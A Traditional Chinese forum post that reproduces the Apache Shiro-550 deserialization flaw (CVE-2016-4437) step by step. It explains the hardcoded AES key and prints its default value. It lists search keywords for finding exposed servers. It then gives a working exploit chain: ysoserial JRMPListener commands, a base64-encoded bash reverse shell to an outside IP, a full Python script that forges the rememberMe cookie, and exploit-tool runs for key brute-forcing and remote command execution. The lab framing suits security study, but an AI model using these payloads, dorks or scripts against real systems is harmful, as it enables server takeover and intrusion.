標題:Apache Shiro 反序列化漏洞(Shiro-550 CVE-2016-4437)

taibeihacker

Moderator

0x00 漏洞描述​

Apache Shiro是一款開源安全框架,提供身份驗證、授權、密碼學和會話管理。 Shiro框架直觀、易用,同時也能提供健壯的安全性。 Apache Shiro 1.2.4及以前版本中,加密的用戶信息序列化後存儲在名為remember-me的Cookie中。攻擊者可以使用Shiro的默認密鑰偽造用戶Cookie,觸發Java反序列化漏洞,進而在目標機器上執行任意命令只要rememberMe的AES加密密鑰洩露,無論shiro是什麼版本都會導致反序列化漏洞。

0x01 影响版本​

Apache Shiro=1.2.4

0x02 漏洞原理​

Apache Shiro框架提供了記住我的功能(RememberMe),關閉了瀏覽器下次再打開時還是能記住你是誰,下次訪問時無需再登錄即可訪問。用戶登陸成功後會生成經過加密並編碼的cookie。 Apache Shiro 1.2.4及以前版本中,Apache Shiro默認使用了CookieRememberMeManager,其處理cookie的流程是:得到rememberMe的cookie值Base64解碼–AES解密–反序列化。然而AES的密鑰是硬編碼的,就導致了攻擊者可以構造惡意數據造成反序列化的RCE漏洞在服務端接收cookie值時,按照如下步驟來解析處理:
1、檢索RememberMe cookie 的值
2、Base 64解碼
3、使用AES解密(加密密鑰硬編碼)
4、進行反序列化操作(未作過濾處理)
但是,AES加密的密鑰Key被硬編碼在代碼裡,意味著每個人通過源代碼都能拿到AES加密的密鑰。因此,攻擊者構造一個惡意的對象,並且對其序列化,AES加密,base64編碼後,作為cookie的rememberMe字段發送。 Shiro將rememberMe進行解密並且反序列化,最終造成反序列化漏洞。在調用反序列化時未進行任何過濾,導致可以觸發遠程代碼執行漏洞

0x03 漏洞原因​

大概意思是,shiro在登錄處提供了Remember Me這個功能,來記錄用戶登錄的憑證,然後shiro使用了CookieRememberMeManager類對用戶的登陸憑證,也就是Remember Me的內容進行一系列處理:
使用Java序列化--- 使用密鑰進行AES加密--- Base64加密--- 得到加密後的Remember Me內容
同時在識別用戶身份的時候,需要對Remember Me的字段進行解密,解密的順序為:
Remember Me加密內容--- Base64解密--- 使用密鑰進行AES解密---Java反序列化
問題出在AES加密的密鑰Key被硬編碼在代碼裡,這意味著攻擊者只要通過源代碼找到AES加密的密鑰,就可以構造一個惡意對象,對其進行序列化,AES加密,Base64編碼,然後將其作為cookie的Remember Me字段發送,Shiro將RememberMe進行解密並且反序列化,最終造成反序列化漏洞。

0x04 漏洞利用条件​

由於使用來aes加密,要想成功利用漏洞則需要獲取aes的加密密鑰,而在shiro的1.2.4之前版本中使用的是硬編碼。其默認密鑰的base64編碼後的值為kPH+bIxk5D2deZiIxcaaaA==。這裡就可以通過構造惡意的序列化對象進行編碼,加密,然後作為cookie加密發送,服務端接收後會解密並觸發反序列化漏洞。

0x05 漏洞搜索关键字​

fofa的搜索關鍵詞:header='rememberme=deleteMe'github搜索關鍵詞:securityManager.rememberMeManager.cipherKey
cookieRememberMeManager.setCipherKey
setCipherKey(Base64.decode

0x06 漏洞特征​

shiro反序列化的特徵:在返回包的Set-Cookie 中存在rememberMe=deleteMe 字段

0x07 环境搭建​

1.下載鏡像docker pull medicean/vulapps:s_shiro_1
1049983-20201203093900204-1833446738.png
2.直接運行鏡像,將docker的8080端口映射到本地的8080上:docker run -d -p 8080:8080 medicean/vulapps:s_shiro_1
1049983-20201203093901541-140206952.png
3.訪問地址:http://149.28.94.72:8080/,可以看到環境被成功搭建
1049983-20201203093901957-679502462.png
或者:https://github.com/vulhub/vulhub/tree/master/shiro/CVE-2016-4437 docker-compose up -d服務啟動後,訪問http://your-ip:8080可使用admin:vulhub進行登錄

0x08 漏洞复现​

一、最基本方式複現利用複現1.ysoserial-0.0.6-SNAPSHOT-all.jar文件下載:root@shiro:~/Shiro_exploit# wget https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar
1049983-20201203093903808-1083425861.png
2.訪問漏洞靶場,並使用burp對其抓包,輸入正確的用戶名和密碼,勾選Remember Me選項。查看返回包中Set-Cookie中是否存在rememberMe=deleteMe字段。
1049983-20201203093906033-1597270640.png
3.對登錄的頁面進行抓包
1049983-20201203093907312-912301061.png
4.抓到包發送到repeater,重放即可看到cookie中包含rememberMe=deleteMe字段
1049983-20201203093907746-1556444288.png
5.然後在攻擊機執行以下命令:(通過ysoserial中的JRMP監聽模塊,監聽1086 端口並執行反彈shell命令)
java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 1086 CommonsCollections4 “bash命令”注:payloads/JRMPClient 是結合exploit/JRMPListener 使用的;
JRMPListener是ysoserial 工具裡的其中一個利用模塊,作用是通過反序列化,開啟當前主機的一個JRMP Server ,具體的利用過程是,將反序列化數據發送到Server 中,然後Server中進行反序列化操作,並開啟指定端口,然後在通過JRMPClient去發送攻擊payload;
payloads/JRMPClient 生存的payload 是發送給目標機器的,exploit/JRMPListener 是在自己服務器上使用的。然後我們來構造payload來進行反彈shell的操作,寫好bash反彈shell的命令
bash -i /dev/tcp/149.28.94.72/2222 01
然後轉換成加密後的指令(去這個網站http://www.jackson-t.ca/runtime-exec-payloads.html)
1049983-20201203093908901-2096603826.png
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xNDkuMjguOTQuNzIvMjIyMiAgIDA+JjE=}|{base64,-d}|{bash,-i}注:為什麼要對反彈shell進行編碼?在exec()函數中,''管道符是沒有意義的,會被解析為其他的意義,而我們的反彈shell命令中又必須使用,所以需要編碼。另外,StringTokenizer類會破壞其中包含空格的參數,該類將命令字符串按空格分隔。諸如此類的東西ls 'My Directory'將被解釋為ls ''My' 'Directory''6.最終在攻擊機上執行的命令如下:java -cp ysoserial-master-SNAPSHOT.jar ysoserial.exploit.JRMPListener 1086 CommonsCollections4 “bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xNDkuMjguOTQuNzIvMjIyMiAgIDA+JjE=}|{base64,-d}|{bash,-i}”
1049983-20201203093909244-1478964296.png
7.使用shiro.py生成payload,需要python2的環境,使用Shiro內置的默認密鑰對Payload進行加密:shiro.py:importsysimportuuidimportbase64importsubprocessfromCrypto.CipherimportAESdefencode_rememberme(command):popen=subprocess.Popen(['java','-jar','ysoserial-0.0.6-SNAPSHOT-all.jar','JRMPClient', command], stdout=subprocess.PIPE)BS=AES.block_sizepad=lambdas: s+((BS-len(s)%BS)*chr(BS-len(s)%BS)).encode()key=base64.b64decode('kPH+bIxk5D2deZiIxcaaaA==')iv=uuid.uuid4().bytesencryptor=AES.new(key, AES.MODE_CBC, iv)file_body=pad(popen.stdout.read())base64_ciphertext=base64.b64encode(iv+encryptor.encrypt(file_body))returnbase64_ciphertextif__name__=='__main__':payload=encode_rememberme(sys.argv[1])print'rememberMe={0}'.format(payload.decode())8.對目標靶機進行payload加密處理root@shiro:~/Shiro_exploit# python shiro.py 149.28.94.72:1099//攻擊機的ip地址和java監聽端口,shiro.py需要和ysoserial.jar放在同一個目錄下。
rememberMe=Js0Jb6NWTG6O1ZvE0Y6L2cXY9xbf/F6SGZHcoL11yHyKy3gRXdgGRmS3XUUCdq+mPLOc6WzlFpEqdpm+o1RS3fN8N2JWzDI7XI4zZLcI3V3SVhasOqoYX6Eb5s7AQLHePx6T7p8s5XTa5/pdny+bHGLoFJnCR8fa9P1VkcUAdvNuEEfEd4K+zYzSEmVDMdvgCLEx4F Z4zME52g+zGaMfn+L3FcXIy397e+L8FFHoMIayzxnl6D/17Z5hJdlx97xrqB31ZbdoIryiP1VmzDoqgP6ZEfewtH8k9bWyT5ZrSNwOe7FhcNxsrscTD+cboMqt5NUWNH9Jz4pk4VeHyMuAZaZ3TVb9ebfBThYnXvSHTwsEKlTp8sGPsCsKbbMCFKL3Q6qR+ri+15FozlEAsfvliA==
1049983-20201203093909638-2063943902.png
9.然後在攻擊機上監聽2222端口,等待shell反彈
1049983-20201203093912336-1604929598.png
10.將生成的remeberMe值添加到cookie字段內的jessionid後邊,用分號隔開添加剛生成的payload,然後將數據包放行
1049983-20201203093912965-728885270.png
11.數據包發送之後查看攻擊機中java監聽接口和nc監聽端口結果顯示如下圖
1049983-20201203093913446-351042190.png
1049983-20201203093913836-1186252345.jpg
二、Shiro_exploit腳本利用複現1.使用Shiro_exploit的poc對目標靶機key的爆破檢查root@shiro:~/Shiro_exploit# python3 shiro_exploit.py -u http://149.28.94.72:8080
1049983-20201203093919203-263706918.png
1049983-20201203093920580-2085239307.png
2.使用Shiro_exploit的poc執行反彈shellroot@shiro:~# git clone https://github.com/insightglacier/Shiro_exploit.gitroot@shiro:~/Shiro_exploit# pip3 install pycryptodomepython3 shiro_exploit.py -t 3 -u http://149.28.94.72:8080 -p 'bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xNDkuMjguOTQuNzIvMjIyMiAgIDA+JjE=}|{base64,-d}|{bash,-i}'
1049983-20201203093920980-799770678.png
nc -lvvp 2222
1049983-20201203093922798-661421567.png
3.使用Shiro_exploit的poc進行在目標靶機創建文件python3 shiro_exploit.py -t 3 -u http://149.28.94.72:8080 -p 'touch test.txt'
1049983-20201203093924099-146015132.png
成功在服務器創建a.txt文件
vjnj04hbehw22213.png
4.使用Shiro_exploit的poc檢測可用gadget的方式python3 shiro_exploit.py -u http://149.28.94.72:8080 -t 3 -p 'ping -c 2 1m054t.dnslog.cn' -k 'kPH+bIxk5D2deZiIxcaaaA=='
1049983-20201203093924792-1415093614.png
dnslog上會看到請求的域名,證明漏洞存在
1049983-20201203093926679-2047167987.png
三、ShiroExploit圖形化工具利用複現https://github.com/feihong-cs/ShiroExploitShiro550無需提供rememberMe Cooki
1049983-20201203093927315-650308240.png
1049983-20201203093927689-662648490.png
1049983-20201203093928082-1395067449.png
1049983-20201203093928446-1810477762.png
攻擊機執行:(可以看到成功反彈shell)nc -lvvp 3333
 
返回
上方